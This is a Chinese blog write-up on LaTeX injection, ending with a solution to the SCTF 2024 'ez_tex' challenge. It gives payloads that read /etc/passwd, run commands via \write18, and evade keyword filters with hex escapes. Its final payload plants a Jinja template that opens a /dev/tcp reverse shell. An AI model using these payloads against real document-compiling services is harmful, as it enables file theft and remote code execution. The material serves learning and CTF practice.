LaTex Injection技术研究
真爱和自由 发表于 四川 历史精选 930浏览 · 2024-10-02 02:47

LaTex Injection技术研究

简单了解

先去gpt学习一波

LaTeX(通常发音为“Lay-tech”或“Lah-tech”)是一种基于TeX的排版系统,广泛用于生成科学和数学文档,因为它能够很好地处理公式和复杂的排版任务。它是由Leslie Lamport在20世纪80年代初设计的,TeX是由Donald Knuth在1970年代末开发的。

以下是LaTeX的一些主要特点和用途:

特点

  1. 高质量排版:LaTeX能够生成具有出版质量的文档。
  2. 公式处理:它对数学公式的排版提供了出色的支持。
  3. 结构化文档:LaTeX鼓励作者使用结构化的文本来编写文档,这使得内容的维护和更新更加容易。
  4. 可定制性:LaTeX非常灵活,允许用户自定义文档的样式和布局。
  5. 跨平台:LaTeX可以在各种操作系统上运行,如Windows、macOS和Linux。

基本组成

  • 文档类:定义了文档的整体结构和样式,如articlebookreport等。
  • 命令和环境:LaTeX使用命令(以反斜杠开头)和环境(由\begin\end包围)来格式化文本。
  • 宏包:为了扩展LaTeX的功能,可以使用宏包(也称为包或package)。

基本用法

  1. 编写文档:使用文本编辑器编写LaTeX代码。
  2. 编译文档:使用LaTeX编译器(如pdflatexxelatex)将LaTeX代码编译成PDF或其他格式的文档。

其中我比较关注的是命令和环境:LaTeX使用命令(以反斜杠开头)和环境(由\begin\end包围)来格式化文本。

基础恶意使用

首先参考使用文档https://en.wikibooks.org/wiki/LaTeX/Command_Glossary

Latex基本框架和基本模式

\documentclass{article}
\usepackage[UTF8]{ctex}

\begin{document}
文件内容
\end{document}
  • no-shell-escape
    进行\write18{command}执行, 即使函数已经在texmf.cnf文件中启用
  • shell-restricted
    与shell-escape类似, 但是只能执行安全的预定义命令集
  • shell-escape
    允许\wite18{command}执行

读取文件

input

基本用法

\input{filename}

\input 命令用于将另一个文件的内容包含到当前文档中。这个功能在处理大型文档或者需要重复使用某些内容时非常有用

例子

% This document is compiled using pdfLaTeX
% You can switch XeLaTeX/pdfLaTeX/LaTeX/LuaLaTeX in Settings


\begin{document}

\input{/etc/passwd}
\end{document}

和它作用差不多的还有\include

还有

% This document is compiled using pdfLaTeX
% You can switch XeLaTeX/pdfLaTeX/LaTeX/LuaLaTeX in Settings

\documentclass{article}

\begin{document}

\newread\file
\openin\file=/etc/environment 
\loop\unless\ifeof\file
    \read\file to\fileline
    \fileline 
    \par 
\repeat
\closein\file

\end{document}

\newread 命令用于创建一个新的输入流

\openin\file=/etc/passwd: 这行代码尝试打开位于指定路径的文件 /etc/passwd 进行读取

\ifeof\file表示文件读取结束,\unless 是一个逻辑否定命令,所以这个循环会在文件没有到达末尾时继续。\loop 命令相当于while

\read\file to\fileline就是一行一行的读取代码

\text{\fileline}: 这行代码将读取的行内容 \fileline 输出到LaTeX文档中。

\repeat标志着循环的结束直到 \loop 命令的条件不再满足

\closein\file: 在循环结束后,这行代码关闭之前打开的文件句柄\file

写文件

这个需要我们的编译器有写的权限,写文件功能运行在shell-restrictedshell-escape两种模式下

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{evil_test}
\closeout\outfile

\newwrite\outfile\newwrite 命令用于创建一个用于写入操作的文件句柄。

\openout\outfile=cmd.tex就是打开cmd.tex文件

\write\outfile{hello-world}将字符串 hello-world 写入到由 \outfile 句柄引用的文件 cmd.tex 中。

\closeout\outfile关闭了由 \outfile 句柄引用的文件。

命令执行

这也是最重要的

% 导言区
\documentclass[12pt,a4paper]{ctexart}

\newcommand{\myfont}{\huge{\textbf{\textit{Hello}}}}
\begin{document}
\immediate\write18{env > output}

\input{output}

\end{document}

\immediate 告诉LaTeX立即执行这个命令,而不是将其推迟到页面输出时。

\write18理解为system就好了

env > output把命令结果放在output中,就是重定向文件的意思

\input{output}尝试将 output 文件的内容包含到文档中。

可以看到读取的文件非常乱,我们可以base64编码一首

% 导言区
\documentclass[12pt,a4paper]{ctexart}

\newcommand{\myfont}{\huge{\textbf{\textit{Hello}}}}
\begin{document}
\immediate\write18{ env |base64>text}
\input{text}
\end{document}

解码后更容易观察

绕过黑名单

经常我们恶意执行命令的都是被waf了

我们可以使用\def 语法绕过,是用来定义变量的

比如我们的immediate就是

\def \imm {\string\imme}

\def \diate {diate}

然后\string就是相当于我们的转义符

% 导言区
\documentclass[12pt,a4paper]{ctexart}

\newcommand{\myfont}{\huge{\textbf{\textit{Hello}}}}
\begin{document}
\def \imm {\string\imme}
\def \diate {diate}
\imm\diate

\end{document}

我们拼接起来试一试能不能执行命令

% 导言区
\documentclass[12pt,a4paper]{ctexart}

\newcommand{\myfont}{\huge{\textbf{\textit{Hello}}}}
\begin{document}
\def \imm {\string\imme}
\def \diate {diate}
\imm\diate\write18{ env |base64>text}
\input{text}

\end{document}

我们通过一个命令来学习一下绕过手法的逻辑

\begin{document}

\def \imm {\string\imme}

\def \diate {diate}

\def \sb {\string18}

\def \wwrite {\string\write\sb}

\def \args {\string{ls > test.tex\string}}

\def \inp {\string\in}

\def \iput {put}

\def \cmd {\string{test.tex\string}}


\newwrite\outfile

\openout\outfile=cmd.tex

\write\outfile{\imm\diate\wwrite\args}

\write\outfile{\inp\iput\cmd}

\closeout\outfile
\newread\file

\openin\file=cmd.tex

\loop\unless\ifeof\file

\read\file to\fileline

\fileline

\repeat

\closein\file

\end{document}

首先就是定义一些常量

然后

\newwrite\outfile

\openout\outfile=cmd.tex

\write\outfile{\imm\diate\wwrite\args}

\write\outfile{\inp\iput\cmd}

\closeout\outfile

\write\outfile{\imm\diate\wwrite\args}

相当于\write\outfile{\immediate\write18{ls > test.tex\string}}

就是把命令执行的结果写入cmd.tex

\newread\file

\openin\file=cmd.tex

\loop\unless\ifeof\file

\read\file to\fileline

\fileline

\repeat

\closein\file

这个和上面的那个内容是差不多的,只不过是读文件

运用实例

在sctf 2024ez_tex中
可以上传tex文件,然后编译

发现是有一些过滤的,然后就是尝试一下刚刚的绕waf,稍微小改一下

对了,提示了是有app.log的,可以访问,但是没有内容,猜测回显是写到app.log文件中

第一次POC

\documentclass[]{article}
\begin{document}
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\write\outfile{Line 2}
\write\outfile{I like trains}
\closeout\outfile
\newread\infile
\openin\infile=cmd.tex
\imm^^65diate\newwrite\outfile
\imm^^65diate\openout\outfile=a^^70p.l^^6fg
\loop\unless\ifeof\infile
    \imm^^65diate\read\infile to\line
    \imm^^65diate\write\outfile{\line}
\repeat
\closeout\outfile
\closein\infile
\newpage
foo
\end{document}

发现页面没有其他的结果,猜测是只能写app.log文件。修改一下paylaod

app是被过滤了的,可以尝试 unicode hex value.或者16进制

\documentclass[]{article}
\begin{document}
\newwrite\outfile
\openout\outfile=a^^70p.l^^6fg
\write\outfile{Hello-world}
\write\outfile{Line 2}
\write\outfile{I like trains}
\closeout\outfile
\newread\infile
\openin\infile=a^^70p.l^^6fg
\imm^^65diate\newwrite\outfile
\imm^^65diate\openout\outfile=a^^70p.l^^6fg
\loop\unless\ifeof\infile
    \imm^^65diate\read\infile to\line
    \imm^^65diate\write\outfile{\line}
\repeat
\closeout\outfile
\closein\infile
\newpage
foo
\end{document}

确实可以

既然可以绕过执行命令,但是发现就是内容回显不上去,然后把回显写到app.log上面也不可以,猜测是因为模式的缘故,不可以执行外部命令

然后只能读读文件了,先读了app.py没有内容,换一个

读取main.py

\documentclass[]{article}
\begin{document}

\newread\infile
\openin\infile=main.py
\imm^^65diate\newwrite\outfile
\imm^^65diate\openout\outfile=a^^70p.l^^6fg
\loop\unless\ifeof\infile
    \imm^^65diate\read\infile to\line
    \imm^^65diate\write\outfile{\line}
\repeat
\closeout\outfile
\closein\infile
\newpage
foo
\end{document}
import os 
import logging 
import subprocess 
from flask import Flask, request, render_template, redirect 
from werkzeug.utils import secure_filename 

app = Flask(__name__) 

if not app.debug: 
        handler = logging.FileHandler('app.log') 
        handler.setLevel(logging.INFO) 
        app.logger.addHandler(handler) 

UPLOAD_FOLDER = 'uploads' 
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER 

os.makedirs(UPLOAD_FOLDER, exist_ok=True) 

ALLOWED_EXTENSIONS = {'txt', 'png', 'jpg', 'gif', 'log', 'tex'} 

def allowed_file(filename): 
        return '.' in filename and \ 
        filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS 

def compile_tex(file_path): 
        output_filename = file_path.rsplit('.', 1)[0] + '.pdf' 
        try: 
                subprocess.check_call(['pdflatex', file_path]) 
                return output_filename 
        except subprocess.CalledProcessError as e: 
                return str(e) 

@app.route('/') 
def index(): 
        return render_template('index.html') 

@app.route('/upload', methods=['POST']) 
def upload_file(): 
        if 'file' not in request.files: 
                return redirect(request.url) 
        file = request.files['file'] 
        if file.filename == '': 
                return redirect(request.url) 

        if file and allowed_file(file.filename): 
                content = file.read() 
                try: 
                        content_str = content.decode('utf-8') 
                except UnicodeDecodeError: 
                        return 'File content is not decodable' 
                for bad_char in ['\\x', '..', '*', '/', 'input', 'include', 'write18', 'immediate','app', 'flag']: 
                        if bad_char in content_str: 
                                return 'File content is not safe' 
                file.seek(0) 
                filename = secure_filename(file.filename) 
                file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename) 
                file.save(file_path) 
                return 'File uploaded successfully, And you can compile the tex file' 
        else: 
        return 'Invalid file type or name' 


@app.route('/compile', methods=['GET']) 
def compile(): 
        filename = request.args.get('filename') 

        if not filename: 
                return 'No filename provided', 400 

        if len(filename) >= 7: 
                return 'Invalid file name length', 400 

        if not filename.endswith('.tex'): 
                return 'Invalid file type', 400 

        file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename) 
        print(file_path) 
        if not os.path.isfile(file_path): 
                return 'File not found', 404 

        output_pdf = compile_tex(file_path) 
        if output_pdf.endswith('.pdf'): 
                return "Compilation succeeded" 
        else: 
                return 'Compilation failed', 500 

@app.route('/log') 
def log(): 
        try: 
                with open('app.log', 'r') as log_file: 
                log_contents = log_file.read() 
                return render_template('log.html', log_contents=log_contents) 
        except FileNotFoundError: 
                return 'Log file not found', 404 

if __name__ == '__main__': 
app.run(host='0.0.0.0', port=3000, debug=False)

然后思路就一目了然了

就是模板注入

控制html内容

\documentclass[]{article}
\begin{document}
\newwrite\t
\openout\t=templates^^2flog.html
\write\t{{{lipsum.__globals__['os'].popen('bash -c "^^2fbin^^2fsh -i >& ^^2fdev^^2ftcp^^2fip^^2f9999>&1"').read()}}}
\closeout\t
\newpage
foo
\end{document}

连上后

之后提权的就算了

参考https://www.freebuf.com/articles/security-management/308191.html

https://blog.wm-team.cn/index.php/archives/82

0 条评论
某人
表情
可输入 255